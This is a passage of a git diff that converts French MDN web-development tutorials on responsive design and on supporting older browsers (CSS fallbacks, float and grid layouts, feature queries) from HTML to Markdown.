l'affichage était mauvais. Vous le verrez toujours aujourd'hui si vous avez le malheur de tomber sur un site qui n'est pas responsive. -<p>Le problème est que votre responsive design avec des points de coupure et des media queries ne fonctionnera pas comme prévu sur les navigateurs mobiles. Si vous avez une disposition pour écran étroit qui démarre à une largeur de fenêtre de 480 pixels ou moins, et que la fenêtre est définie à 960 pixels, vous ne verrez jamais votre disposition pour écran étroit sur mobile. En définissant <code>width = device-width</code>, vous remplacez la largeur par défaut d'Apple de <code>width = 960px </code>par la largeur réelle de l'appareil, afin que vos requêtes multimédias fonctionnent comme prévu.</p> +Le problème est que votre responsive design avec des points de coupure et des media queries ne fonctionnera pas comme prévu sur les navigateurs mobiles. Si vous avez une disposition pour écran étroit qui démarre à une largeur de fenêtre de 480 pixels ou moins, et que la fenêtre est définie à 960 pixels, vous ne verrez jamais votre disposition pour écran étroit sur mobile. En définissant `width = device-width`, vous remplacez la largeur par défaut d'Apple de `width = 960px `par la largeur réelle de l'appareil, afin que vos requêtes multimédias fonctionnent comme prévu. -<p><strong>Vous devriez donc toujours inclure la ligne HTML ci-dessus dans la tête de vos documents.</strong></p> +**Vous devriez donc toujours inclure la ligne HTML ci-dessus dans la tête de vos documents.** -<p>Il existe d'autres paramètres que vous pouvez utiliser avec la balise meta viewport, mais en général, la ligne ci-dessus est celle que vous utiliserez.</p> +Il existe d'autres paramètres que vous pouvez utiliser avec la balise meta viewport, mais en général, la ligne ci-dessus est celle que vous utiliserez. -<ul> - <li><code>initial-scale</code>: Définit le zoom initial de la page, que nous définissons à 1.</li> - <li><code>height</code>: Definit une hauteur spécifique pour la fenêtre.</li> - <li><code>minimum-scale</code>: Définit le niveau minimal de zoom</li> - <li><code>maximum-scale</code>: Définit le niveau maximal de zoom.</li> - <li><code>user-scalable</code>: Empêche le zoom si défini à <code>no</code>.</li> -</ul> +- `initial-scale`: Définit le zoom initial de la page, que nous définissons à 1. +- `height`: Definit une hauteur spécifique pour la fenêtre. +- `minimum-scale`: Définit le niveau minimal de zoom +- `maximum-scale`: Définit le niveau maximal de zoom. +- `user-scalable`: Empêche le zoom si défini à `no`. -<p>Vous devriez éviter d'utiliser <code>minimum-scale</code>, <code>maximum-scale</code>, et en particulier la définition de <code>user-scalable</code> sur <code>no</code>. Les utilisateurs devraient être autorisés à zoomer autant ou aussi peu que nécessaire; éviter cela entraîne des problèmes d'accessibilité.</p> +Vous devriez éviter d'utiliser `minimum-scale`, `maximum-scale`, et en particulier la définition de `user-scalable` sur `no`. Les utilisateurs devraient être autorisés à zoomer autant ou aussi peu que nécessaire; éviter cela entraîne des problèmes d'accessibilité. -<div class="note"> -<p><strong>Note :</strong> Il existe une règle @ CSS conçue pour remplacer la métabalise viewport — <a href="/fr/docs/Web/CSS/@viewport">@viewport</a> — Cependant, son support par navigateur est médiocre. Il a été mis en œuvre dans Internet Explorer et Edge, mais une fois que Edgium (La version Edge basée sur Chromium) sera livré, il ne fera plus partie du navigateur Edge.</p> -</div> +> **Note :** Il existe une règle @ CSS conçue pour remplacer la métabalise viewport — [@viewport](/fr/docs/Web/CSS/@viewport) — Cependant, son support par navigateur est médiocre. Il a été mis en œuvre dans Internet Explorer et Edge, mais une fois que Edgium (La version Edge basée sur Chromium) sera livré, il ne fera plus partie du navigateur Edge. -<h2 id="Sommaire">Sommaire</h2> +## Sommaire -<p>Le responsive design fait référence à la conception d'un site ou d'une application qui répond à l'environnement dans lequel il est vu. Elle englobe un certain nombre de caractéristiques et de techniques CSS et HTML, et c'est essentiellement la façon dont nous construisons les sites web par défaut. Considérez les sites que vous visitez sur votre téléphone - il est probablement assez inhabituel de tomber sur un site dont la version de bureau est réduite, ou sur lequel vous devez faire défiler les pages pour trouver des choses. Cela s'explique par le fait que le web a adopté cette approche de design réactif.</p> +Le responsive design fait référence à la conception d'un site ou d'une application qui répond à l'environnement dans lequel il est vu. Elle englobe un certain nombre de caractéristiques et de techniques CSS et HTML, et c'est essentiellement la façon dont nous construisons les sites web par défaut. Considérez les sites que vous visitez sur votre téléphone - il est probablement assez inhabituel de tomber sur un site dont la version de bureau est réduite, ou sur lequel vous devez faire défiler les pages pour trouver des choses. Cela s'explique par le fait que le web a adopté cette approche de design réactif. -<p>Il est également devenu beaucoup plus facile de réaliser des responsives designs à l'aide des méthodes de mise en page que vous avez apprises dans ces leçons. Si vous êtes novice en matière de développement web, vous disposez aujourd'hui de beaucoup plus d'outils qu'aux premiers jours du responsive design. Il est donc utile de vérifier l'âge des documents que vous référencez. Si les articles historiques sont toujours utiles, l'utilisation moderne des CSS et du HTML facilite grandement la création de designs élégants et utiles, quel que soit le dispositif avec lequel votre visiteur consulte le site.</p> +Il est également devenu beaucoup plus facile de réaliser des responsives designs à l'aide des méthodes de mise en page que vous avez apprises dans ces leçons. Si vous êtes novice en matière de développement web, vous disposez aujourd'hui de beaucoup plus d'outils qu'aux premiers jours du responsive design. Il est donc utile de vérifier l'âge des documents que vous référencez. Si les articles historiques sont toujours utiles, l'utilisation moderne des CSS et du HTML facilite grandement la création de designs élégants et utiles, quel que soit le dispositif avec lequel votre visiteur consulte le site. -<p>{{PreviousMenuNext("Apprendre/CSS/CSS_layout/Multiple-column_Layout", "Apprendre/CSS/CSS_layout/Media_queries", "Apprendre/CSS/CSS_layout")}}</p> +{{PreviousMenuNext("Apprendre/CSS/CSS_layout/Multiple-column_Layout", "Apprendre/CSS/CSS_layout/Media_queries", "Apprendre/CSS/CSS_layout")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Apprendre/CSS/CSS_layout/Introduction">Introduction à la mise en page en CSS</a></li> - <li><a href="/fr/docs/Apprendre/CSS/CSS_layout/Normal_Flow">Cours normal</a></li> - <li><a href="/fr/docs/Apprendre/CSS/CSS_layout/Flexbox">Flexbox</a></li> - <li><a href="/fr/docs/Apprendre/CSS/CSS_layout/Grids">Grid</a></li> - <li><a href="/fr/docs/Apprendre/CSS/CSS_layout/Floats">Les boîtes flottantes</a></li> - <li><a href="/fr/docs/Apprendre/CSS/CSS_layout/Le_positionnement">Le positionnement</a></li> - <li><a href="/fr/docs/Apprendre/CSS/CSS_layout/Multiple-column_Layout">Disposition sur plusieurs colonnes</a></li> - <li><a href="/fr/docs/Apprendre/CSS/CSS_layout/Responsive_Design">Responsive design</a></li> - <li><a href="/fr/docs/Apprendre/CSS/CSS_layout/Media_queries">Guide du débutant pour les Medias Queries</a></li> - <li><a href="/fr/docs/Apprendre/CSS/CSS_layout/Legacy_Layout_Methods">Méthodes de mises en page traditionnelles</a></li> - <li><a href="/fr/docs/Apprendre/CSS/CSS_layout/Prise_en_charge_des_anciens_navigateurs">Prise en charge des anciens navigateurs</a></li> - <li><a href="/fr/docs/Apprendre/CSS/CSS_layout/Fundamental_Layout_Comprehension">Compréhension fondamentale de la mise en page</a></li> -</ul> +- [Introduction à la mise en page en CSS](/fr/docs/Apprendre/CSS/CSS_layout/Introduction) +- [Cours normal](/fr/docs/Apprendre/CSS/CSS_layout/Normal_Flow) +- [Flexbox](/fr/docs/Apprendre/CSS/CSS_layout/Flexbox) +- [Grid](/fr/docs/Apprendre/CSS/CSS_layout/Grids) +- [Les boîtes flottantes](/fr/docs/Apprendre/CSS/CSS_layout/Floats) +- [Le positionnement](/fr/docs/Apprendre/CSS/CSS_layout/Le_positionnement) +- [Disposition sur plusieurs colonnes](/fr/docs/Apprendre/CSS/CSS_layout/Multiple-column_Layout) +- [Responsive design](/fr/docs/Apprendre/CSS/CSS_layout/Responsive_Design) +- [Guide du débutant pour les Medias Queries](/fr/docs/Apprendre/CSS/CSS_layout/Media_queries) +- [Méthodes de mises en page traditionnelles](/fr/docs/Apprendre/CSS/CSS_layout/Legacy_Layout_Methods) +- [Prise en charge des anciens navigateurs](/fr/docs/Apprendre/CSS/CSS_layout/Prise_en_charge_des_anciens_navigateurs) +- [Compréhension fondamentale de la mise en page](/fr/docs/Apprendre/CSS/CSS_layout/Fundamental_Layout_Comprehension) diff --git a/files/fr/learn/css/css_layout/supporting_older_browsers/index.md b/files/fr/learn/css/css_layout/supporting_older_browsers/index.md index 1aeb151ae9..b218bec511 100644 --- a/files/fr/learn/css/css_layout/supporting_older_browsers/index.md +++ b/files/fr/learn/css/css_layout/supporting_older_browsers/index.md @@ -17,58 +17,72 @@ tags: translation_of: Learn/CSS/CSS_layout/Supporting_Older_Browsers original_slug: Apprendre/CSS/CSS_layout/Prise_En_Charge_Des_Anciens_Navigateurs --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Legacy_Layout_methods", "Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension", "Learn/CSS/CSS_layout")}}</p> +{{PreviousMenuNext("Learn/CSS/CSS_layout/Legacy_Layout_methods", "Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension", "Learn/CSS/CSS_layout")}} -<p>Dans ce module, nous vous recommandons d'utiliser Flexbox et les grilles CSS comme principales méthodes de mise en page de vos créations. Cependant, certains visiteurs de votre site utilisent des navigateurs plus anciens ou qui ne prennent pas en charge les méthodes que vous avez utilisées. Ce sera toujours le cas sur le Web : au fur et à mesure que de nouvelles fonctionnalités sont développées, les différents navigateurs donnent la priorité à certaines fonctionnalités plutôt qu'à d'autres. Cet article explique comment utiliser les techniques modernes du Web sans exclure les utilisateurs de technologies plus anciennes.</p> +Dans ce module, nous vous recommandons d'utiliser Flexbox et les grilles CSS comme principales méthodes de mise en page de vos créations. Cependant, certains visiteurs de votre site utilisent des navigateurs plus anciens ou qui ne prennent pas en charge les méthodes que vous avez utilisées. Ce sera toujours le cas sur le Web : au fur et à mesure que de nouvelles fonctionnalités sont développées, les différents navigateurs donnent la priorité à certaines fonctionnalités plutôt qu'à d'autres. Cet article explique comment utiliser les techniques modernes du Web sans exclure les utilisateurs de technologies plus anciennes. <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> - <td>Les bases du HTML (étudiez <a href="/fr/docs/Learn/HTML/Introduction_to_HTML">Introduction au HTML</a>), et une idée du fonctionnement de CSS (étudiez <a href="/fr/docs/Learn/CSS/First_steps">Premiers pas avec CSS</a> et <a href="/fr/docs/Learn/CSS/Building_blocks">Blocs de base en CSS</a>.)</td> + <th scope="row">Prérequis :</th> + <td> + Les bases du HTML (étudiez + <a href="/fr/docs/Learn/HTML/Introduction_to_HTML" + >Introduction au HTML</a + >), et une idée du fonctionnement de CSS (étudiez + <a href="/fr/docs/Learn/CSS/First_steps">Premiers pas avec CSS</a> et + <a href="/fr/docs/Learn/CSS/Building_blocks">Blocs de base en CSS</a>.) + </td> </tr> <tr> <th scope="row">Objectif :</th> - <td>Comprendre comment assurer la prise en charge, de vos mises en page, sur les anciens navigateurs qui pourraient ne pas supporter les fonctionnalités que vous souhaitez utiliser.</td> + <td> + Comprendre comment assurer la prise en charge, de vos mises en page, sur + les anciens navigateurs qui pourraient ne pas supporter les + fonctionnalités que vous souhaitez utiliser. + </td> </tr> </tbody> </table> -<h2 id="What_is_the_browser_landscape_for_your_site">Quel est le terrain des navigateurs pour votre site ?</h2> +## Quel est le terrain des navigateurs pour votre site ? -<p>Chaque site web est différent en termes de public ciblé. Avant de décider de l'approche à adopter, déterminez le nombre de visiteurs qui arrivent sur votre site en utilisant d'anciens navigateurs. Cette démarche est simple si vous avez un site existant que vous souhaitez compléter ou remplacer, car vous disposez probablement d'outils d'analyse qui peuvent vous indiquer la technologie utilisée par les visiteurs. Si vous n'avez pas de système d'analyse ou s'il s'agit d'un tout nouveau site, il existe des sites tels que <a href="http://gs.statcounter.com/">Statcounter</a> qui peuvent fournir des statistiques filtrées par région.</p> +Chaque site web est différent en termes de public ciblé. Avant de décider de l'approche à adopter, déterminez le nombre de visiteurs qui arrivent sur votre site en utilisant d'anciens navigateurs. Cette démarche est simple si vous avez un site existant que vous souhaitez compléter ou remplacer, car vous disposez probablement d'outils d'analyse qui peuvent vous indiquer la technologie utilisée par les visiteurs. Si vous n'avez pas de système d'analyse ou s'il s'agit d'un tout nouveau site, il existe des sites tels que [Statcounter](http://gs.statcounter.com/) qui peuvent fournir des statistiques filtrées par région. -<p>Vous devez également tenir compte du type d'appareils et de la façon dont les visiteurs utilisent votre site. Par exemple, vous pouvez vous attendre à un nombre d'appareils mobiles supérieur à la moyenne. L'accessibilité et les personnes utilisant des technologies d'assistance doivent toujours être prises en compte, mais pour certains sites, cela peut être encore plus critique.</p> +Vous devez également tenir compte du type d'appareils et de la façon dont les visiteurs utilisent votre site. Par exemple, vous pouvez vous attendre à un nombre d'appareils mobiles supérieur à la moyenne. L'accessibilité et les personnes utilisant des technologies d'assistance doivent toujours être prises en compte, mais pour certains sites, cela peut être encore plus critique. -<h2 id="What_is_the_support_for_the_features_you_want_to_use">Quelle est la prise en charge des fonctionnalités que vous souhaitez utiliser ?</h2> +## Quelle est la prise en charge des fonctionnalités que vous souhaitez utiliser ? -<p>Une fois que vous connaissez les navigateurs utilisés pour accéder à votre site, vous pouvez évaluer toute technologie que vous souhaitez utiliser, en fonction de sa prise en charge dans les différents navigateurs et de la facilité avec laquelle vous pouvez proposer une alternative aux visiteurs qui ne disposent pas de cette technologie. Nous essayons de vous faciliter la tâche sur le MDN, en fournissant des informations sur la compatibilité des navigateurs sur chaque page détaillant une propriété CSS. Par exemple, jetez un œil à la page de {{cssxref("grid-template-columns")}}. Au bas de cette page se trouve un tableau qui répertorie les principaux navigateurs avec la version dans laquelle ils ont commencé à prendre en charge cette propriété.</p> +Une fois que vous connaissez les navigateurs utilisés pour accéder à votre site, vous pouvez évaluer toute technologie que vous souhaitez utiliser, en fonction de sa prise en charge dans les différents navigateurs et de la facilité avec laquelle vous pouvez proposer une alternative aux visiteurs qui ne disposent pas de cette technologie. Nous essayons de vous faciliter la tâche sur le MDN, en fournissant des informations sur la compatibilité des navigateurs sur chaque page détaillant une propriété CSS. Par exemple, jetez un œil à la page de {{cssxref("grid-template-columns")}}. Au bas de cette page se trouve un tableau qui répertorie les principaux navigateurs avec la version dans laquelle ils ont commencé à prendre en charge cette propriété. -<p><img alt="Capture d'un tableau de compatibilité d'une page sur MDN où on voit en vert les versions initiales compatibles et en rouge les navigateurs sans prise en charge" src="browser-table.png"></p> + -<p>Un autre moyen qui est fréquemment utilisé pour savoir dans quelle mesure une fonctionnalité est prise en charge est le site <a href="https://caniuse.com/">Can I Use</a>. Ce site répertorie la majorité des fonctionnalités de la plate-forme web avec des informations sur leur statut de prise en charge par les navigateurs. Vous pouvez afficher les statistiques d'utilisation par emplacement — utile si vous travaillez sur un site qui a des utilisateurs principalement pour une région spécifique du monde. Vous pouvez même relier votre compte Google Analytics pour obtenir une analyse basée sur vos données d'utilisateur.</p> +Un autre moyen qui est fréquemment utilisé pour savoir dans quelle mesure une fonctionnalité est prise en charge est le site [Can I Use](https://caniuse.com/). Ce site répertorie la majorité des fonctionnalités de la plate-forme web avec des informations sur leur statut de prise en charge par les navigateurs. Vous pouvez afficher les statistiques d'utilisation par emplacement — utile si vous travaillez sur un site qui a des utilisateurs principalement pour une région spécifique du monde. Vous pouvez même relier votre compte Google Analytics pour obtenir une analyse basée sur vos données d'utilisateur. -<p>Comprendre la technologie dont disposent vos utilisateurs et la prise en charge des fonctionnalités que vous pourriez vouloir utiliser vous place dans une bonne position pour prendre toutes vos décisions et savoir comment servir au mieux tous vos utilisateurs.</p> +Comprendre la technologie dont disposent vos utilisateurs et la prise en charge des fonctionnalités que vous pourriez vouloir utiliser vous place dans une bonne position pour prendre toutes vos décisions et savoir comment servir au mieux tous vos utilisateurs. -<h2 id="Support_doesnt_mean_looks_the_same">Prendre en charge ne veut pas dire « ressembler à la même chose »</h2> +## Prendre en charge ne veut pas dire « ressembler à la même chose » -<p>Un site web ne peut pas avoir le même aspect dans tous les navigateurs, car certains de vos utilisateurs consulteront le site sur un téléphone et d'autres sur un grand écran de bureau. De même, certains de vos utilisateurs auront une ancienne version du navigateur, et d'autres la dernière. Certains de vos utilisateurs pourront lire votre contenu à l'aide d'un lecteur d'écran, ou auront zoomé sur la page pour pouvoir la lire. La prise en charge de tous les utilisateurs signifie que vous devez fournir une version de votre contenu conçue de manière défensive, afin qu'elle soit parfaite sur les navigateurs modernes, tout en restant utilisable à un niveau de base pour les utilisateurs de navigateurs plus anciens.</p> +Un site web ne peut pas avoir le même aspect dans tous les navigateurs, car certains de vos utilisateurs consulteront le site sur un téléphone et d'autres sur un grand écran de bureau. De même, certains de vos utilisateurs auront une ancienne version du navigateur, et d'autres la dernière. Certains de vos utilisateurs pourront lire votre contenu à l'aide d'un lecteur d'écran, ou auront zoomé sur la page pour pouvoir la lire. La prise en charge de tous les utilisateurs signifie que vous devez fournir une version de votre contenu conçue de manière défensive, afin qu'elle soit parfaite sur les navigateurs modernes, tout en restant utilisable à un niveau de base pour les utilisateurs de navigateurs plus anciens. -<p>Une prise en charge basique consiste à bien structurer votre contenu afin que le flux de votre page ait un sens. Un utilisateur disposant d'un téléphone aux fonctionnalités très limitées ne comprendra peut-être pas grand-chose à votre CSS, mais le contenu s'écoulera de manière à faciliter la lecture. Par conséquent, un document HTML bien structuré devrait toujours être votre point de départ. <em>Si vous supprimez votre feuille de style, votre contenu a-t-il un sens ?</em></p> +Une prise en charge basique consiste à bien structurer votre contenu afin que le flux de votre page ait un sens. Un utilisateur disposant d'un téléphone aux fonctionnalités très limitées ne comprendra peut-être pas grand-chose à votre CSS, mais le contenu s'écoulera de manière à faciliter la lecture. Par conséquent, un document HTML bien structuré devrait toujours être votre point de départ. _Si vous supprimez votre feuille de style, votre contenu a-t-il un sens ?_ -<p>Une option consiste à laisser cette vue simple du site comme solution de repli pour les personnes utilisant des navigateurs très anciens ou limités. Si le nombre de personnes qui consultent le site à l'aide de ces navigateurs est minime, il n'est peut-être pas judicieux, d'un point de vue commercial, de consacrer du temps à essayer de leur offrir une expérience similaire à celle des utilisateurs de navigateurs modernes. Il vaudrait mieux consacrer ce temps à des choses qui rendent le site plus accessible afin qu'il bénéficie à un plus grand nombre d'utilisateurs. Il existe un monde une page HTML basique et un site rutilant de fonctionnalités ; CSS permet la création de ces solutions de repli assez simplement.</p> +Une option consiste à laisser cette vue simple du site comme solution de repli pour les personnes utilisant des navigateurs très anciens ou limités. Si le nombre de personnes qui consultent le site à l'aide de ces navigateurs est minime, il n'est peut-être pas judicieux, d'un point de vue commercial, de consacrer du temps à essayer de leur offrir une expérience similaire à celle des utilisateurs de navigateurs modernes. Il vaudrait mieux consacrer ce temps à des choses qui rendent le site plus accessible afin qu'il bénéficie à un plus grand nombre d'utilisateurs. Il existe un monde une page HTML basique et un site rutilant de fonctionnalités ; CSS permet la création de ces solutions de repli assez simplement. -<h2 id="Creating_fallbacks_in_CSS">Création de substituts en CSS</h2> +## Création de substituts en CSS -<p>Les spécifications CSS contiennent des informations qui expliquent ce que fait le navigateur lorsque deux méthodes de mise en page sont appliquées au même élément. Cela signifie qu'il existe une définition de ce qui se passe si un élément flottant, par exemple, est également un élément de grille utilisant la mise en page de grille CSS. Associez ces informations au fait que les navigateurs ignorent les CSS qu'ils ne comprennent pas, et vous disposez d'un moyen de créer des mises en page simples à l'aide des <a href="/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">techniques historiques</a> que nous avons déjà abordées, qui sont ensuite écrasées par votre mise en page « Grid » dans les navigateurs modernes qui la comprennent.</p> +Les spécifications CSS contiennent des informations qui expliquent ce que fait le navigateur lorsque deux méthodes de mise en page sont appliquées au même élément. Cela signifie qu'il existe une définition de ce qui se passe si un élément flottant, par exemple, est également un élément de grille utilisant la mise en page de grille CSS. Associez ces informations au fait que les navigateurs ignorent les CSS qu'ils ne comprennent pas, et vous disposez d'un moyen de créer des mises en page simples à l'aide des [techniques historiques](/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods) que nous avons déjà abordées, qui sont ensuite écrasées par votre mise en page « Grid » dans les navigateurs modernes qui la comprennent. -<p>Dans l'exemple ci-dessous, nous avons fait flotter trois <code><div></code> pour les afficher en ligne. Tout navigateur qui ne prend pas en charge <a href="/fr/docs/Learn/CSS/CSS_layout/Grids">CSS Grid Layout</a> verra la rangée de cases comme une disposition flottante. Un élément flottant qui devient un élément de grille perd le comportement flottant, ce qui signifie qu'en transformant le conteneur en conteneur de grille, les éléments flottants deviennent des éléments de grille.Si le navigateur prend en charge la mise en page de la grille, il affichera la vue de la grille, sinon il ignore les propriétés liées à ce dernier, en plus de <code>display : grid</code>, et la mise en page flottante est utilisée.</p> +Dans l'exemple ci-dessous, nous avons fait flotter trois `<div>` pour les afficher en ligne. Tout navigateur qui ne prend pas en charge [CSS Grid Layout](/fr/docs/Learn/CSS/CSS_layout/Grids) verra la rangée de cases comme une disposition flottante. Un élément flottant qui devient un élément de grille perd le comportement flottant, ce qui signifie qu'en transformant le conteneur en conteneur de grille, les éléments flottants deviennent des éléments de grille.Si le navigateur prend en charge la mise en page de la grille, il affichera la vue de la grille, sinon il ignore les propriétés liées à ce dernier, en plus de `display : grid`, et la mise en page flottante est utilisée. -<h3 id="Example_1">Exemple</h3> -<h4 id="CSS_1">CSS</h4> -<pre class="brush:css">* { +### Exemple + +#### CSS + +```css +* { box-sizing: border-box; } @@ -86,46 +100,47 @@ original_slug: Apprendre/CSS/CSS_layout/Prise_En_Charge_Des_Anciens_Navigateurs background-color: rgb(207,232,220); padding: 1em; } -</pre> +``` -<h4 id="HTML_1">HTML</h4> -<pre class="brush: html"><div class="wrapper"> - <div class="item">Item One</div> - <div class="item">Item Two</div> - <div class="item">Item Three</div> -</div> -</pre> +#### HTML + +```html +<div class="wrapper"> + <div class="item">Item One</div> + <div class="item">Item Two</div> + <div class="item">Item Three</div> +</div> +``` {{EmbedLiveSample('Example_1', '', '150')}} -<div class="notecard note"> - <p><strong>Note :</strong> La propriété {{cssxref("clear")}} n'a également aucun effet une fois que l'élément dégagé devient un élément de grille. Vous pouvez donc avoir une mise en page avec un pied de page dégagé, qui est ensuite transformée en une mise en page sur une grille CSS.</p> -</div> +> **Note :** La propriété {{cssxref("clear")}} n'a également aucun effet une fois que l'élément dégagé devient un élément de grille. Vous pouvez donc avoir une mise en page avec un pied de page dégagé, qui est ensuite transformée en une mise en page sur une grille CSS. + +### Méthodes de substitution + +Il existe un certain nombre de méthodes de mise en page qui peuvent être utilisées de manière similaire à cet exemple d'éléments flottants. Vous pouvez choisir celle qui convient le mieux selon le modèle de présentation que vous devez créer. -<h3 id="Fallback_Methods">Méthodes de substitution</h3> +- `float` et `clear` + - : Comme indiqué ci-dessus, les propriétés `float` et `clear` cessent d'affecter la mise en page si les éléments ciblés par `float` ou `clear` deviennent des éléments d'une grille ou d'une zone flexible. +- `display : inline-block` + - : Cette méthode peut être utilisée pour créer des mises en page en colonnes, si un élément a `display : inline-block` défini mais devient ensuite un élément flexible ou d'une grille, le comportement _inline-block_ est ignoré. +- `display: table` + - : La méthode de création de tableaux CSS décrite dans l'[introduction](/fr/docs/Learn/CSS/CSS_layout/Introduction) de ces leçons peut être utilisée comme solution de substitution. Les éléments sur lesquels des dispositions de tableau CSS ont été définies perdront ce comportement s'ils deviennent des éléments flex ou des éléments de grille. Il est important de noter que les boîtes anonymes créées pour fixer la structure de la table ne sont pas créées. +- Mise en page à colonnes multiples + - : Pour certaines mises en page, vous pourriez utiliser [multi-col](/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout) comme solution de substitution, si votre conteneur a l'une des propriétés `column-*` définies sur lui et devient ensuite un conteneur de grille, le comportement multicolonne ne se produira pas. +- Flexbox comme solution de repli pour la grille + - : [Flexbox](/fr/docs/Learn/CSS/CSS_layout/Flexbox) bénéficie d'une meilleure prise en charge par les navigateurs que les grilles CSS en raison de sa prise en charge par IE10 et 11, même si vous devez consulter les informations plus loin dans cette leçon expliquant la prise en charge plutôt inégale et confuse de Flexbox dans les anciens navigateurs. Si vous transformez un conteneur flexible en conteneur de grille, toute propriété `flex` appliquée aux enfants sera ignorée. -<p>Il existe un certain nombre de méthodes de mise en page qui peuvent être utilisées de manière similaire à cet exemple d'éléments flottants. Vous pouvez choisir celle qui convient le mieux selon le modèle de présentation que vous devez créer.</p> +Pour de nombreux ajustements de mise en page dans les navigateurs plus anciens, vous constaterez peut-être que vous pouvez offrir une expérience décente en utilisant CSS de cette manière. Nous ajoutons une mise en page plus simple basée sur des techniques plus anciennes et bien supportées, puis nous utilisons un CSS plus récent pour créer la mise en page que plus de 90 % de votre public verra. Dans certains cas, cependant, le code de substitution devra inclure un élément que les nouveaux navigateurs interpréteront également. Par exemple, si nous devions ajouter des pourcentages de largeur à nos éléments flottants pour que les colonnes ressemblent davantage à l'affichage en grille, en s'étirant pour remplir le conteneur. -<dl> - <dt><code>float</code> et <code>clear</code></dt> - <dd>Comme indiqué ci-dessus, les propriétés <code>float</code> et <code>clear</code> cessent d'affecter la mise en page si les éléments ciblés par <code>float</code> ou <code>clear</code> deviennent des éléments d'une grille ou d'une zone flexible.</dd> - <dt><code>display : inline-block</code></dt> - <dd>Cette méthode peut être utilisée pour créer des mises en page en colonnes, si un élément a <code>display : inline-block</code> défini mais devient ensuite un élément flexible ou d'une grille, le comportement <i>inline-block</i> est ignoré.</dd> - <dt><code>display: table</code></dt> - <dd>La méthode de création de tableaux CSS décrite dans l'<a href="/fr/docs/Learn/CSS/CSS_layout/Introduction">introduction</a> de ces leçons peut être utilisée comme solution de substitution. Les éléments sur lesquels des dispositions de tableau CSS ont été définies perdront ce comportement s'ils deviennent des éléments flex ou des éléments de grille. Il est important de noter que les boîtes anonymes créées pour fixer la structure de la table ne sont pas créées.</dd> - <dt>Mise en page à colonnes multiples</dt> - <dd>Pour certaines mises en page, vous pourriez utiliser <a href="/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">multi-col</a> comme solution de substitution, si votre conteneur a l'une des propriétés <code>column-*</code> définies sur lui et devient ensuite un conteneur de grille, le comportement multicolonne ne se produira pas.</dd> - <dt>Flexbox comme solution de repli pour la grille</dt> - <dd><a href="/fr/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a> bénéficie d'une meilleure prise en charge par les navigateurs que les grilles CSS en raison de sa prise en charge par IE10 et 11, même si vous devez consulter les informations plus loin dans cette leçon expliquant la prise en charge plutôt inégale et confuse de Flexbox dans les anciens navigateurs. Si vous transformez un conteneur flexible en conteneur de grille, toute propriété <code>flex</code> appliquée aux enfants sera ignorée.</dd> -</dl> +Dans la disposition flottante, le pourcentage est calculé à partir du conteneur — 33,333 % correspond à un tiers de la largeur du conteneur. Dans la grille, cependant, ces 33,333 % sont calculés à partir de la zone de la grille dans laquelle l'élément est placé, de sorte qu'il devient en fait un tiers de la taille souhaitée une fois que la disposition en grille est introduite. -<p>Pour de nombreux ajustements de mise en page dans les navigateurs plus anciens, vous constaterez peut-être que vous pouvez offrir une expérience décente en utilisant CSS de cette manière. Nous ajoutons une mise en page plus simple basée sur des techniques plus anciennes et bien supportées, puis nous utilisons un CSS plus récent pour créer la mise en page que plus de 90 % de votre public verra. Dans certains cas, cependant, le code de substitution devra inclure un élément que les nouveaux navigateurs interpréteront également. Par exemple, si nous devions ajouter des pourcentages de largeur à nos éléments flottants pour que les colonnes ressemblent davantage à l'affichage en grille, en s'étirant pour remplir le conteneur.</p> +### Exemple -<p>Dans la disposition flottante, le pourcentage est calculé à partir du conteneur — 33,333 % correspond à un tiers de la largeur du conteneur. Dans la grille, cependant, ces 33,333 % sont calculés à partir de la zone de la grille dans laquelle l'élément est placé, de sorte qu'il devient en fait un tiers de la taille souhaitée une fois que la disposition en grille est introduite.</p> +#### CSS -<h3 id="Example_2">Exemple</h3> -<h4 id="CSS_2">CSS</h4> -<pre class="brush: css">* { +```css +* { box-sizing: border-box; } @@ -144,29 +159,34 @@ original_slug: Apprendre/CSS/CSS_layout/Prise_En_Charge_Des_Anciens_Navigateurs padding: 1em; width: 33.333%; } -</pre> +``` -<h4 id="HTML_2">HTML</h4> -<pre class="brush: html"><div class="wrapper"> - <div class="item">Item One</div> - <div class="item">Item Two</div> - <div class="item">Item Three</div> -</div> -</pre> +#### HTML -<p>{{EmbedLiveSample('Example_2', '', '150')}}</p> +```html +<div class="wrapper"> + <div class="item">Item One</div> + <div class="item">Item Two</div> + <div class="item">Item Three</div> +</div> +``` + +{{EmbedLiveSample('Example_2', '', '150')}} + +Pour résoudre ce problème, nous devons trouver un moyen de détecter si la grille est prise en charge et donc si elle remplacera la largeur. CSS a une solution pour nous ici. -<p>Pour résoudre ce problème, nous devons trouver un moyen de détecter si la grille est prise en charge et donc si elle remplacera la largeur. CSS a une solution pour nous ici.</p> +## Requêtes de fonctionnalités -<h2 id="Feature_queries">Requêtes de fonctionnalités</h2> +Les requêtes de fonctionnalités vous permettent de vérifier si un navigateur prend en charge une fonctionnalité CSS particulière. Cela signifie que vous pouvez écrire du CSS pour les navigateurs qui ne prennent pas en charge une certaine fonctionnalité, puis vérifier si le navigateur la prend en charge et, si c'est le cas, intégrer votre mise en page. -<p>Les requêtes de fonctionnalités vous permettent de vérifier si un navigateur prend en charge une fonctionnalité CSS particulière. Cela signifie que vous pouvez écrire du CSS pour les navigateurs qui ne prennent pas en charge une certaine fonctionnalité, puis vérifier si le navigateur la prend en charge et, si c'est le cas, intégrer votre mise en page.</p> +Si nous ajoutons une requête de fonctionnalité à l'exemple ci-dessus, nous pouvons l'utiliser pour remettre les largeurs de nos éléments sur `auto` si nous savons que nous avons un support de grille. -<p>Si nous ajoutons une requête de fonctionnalité à l'exemple ci-dessus, nous pouvons l'utiliser pour remettre les largeurs de nos éléments sur <code>auto</code> si nous savons que nous avons un support de grille.</p> +### Exemple -<h3 id="Example_3">Exemple</h3> -<h4 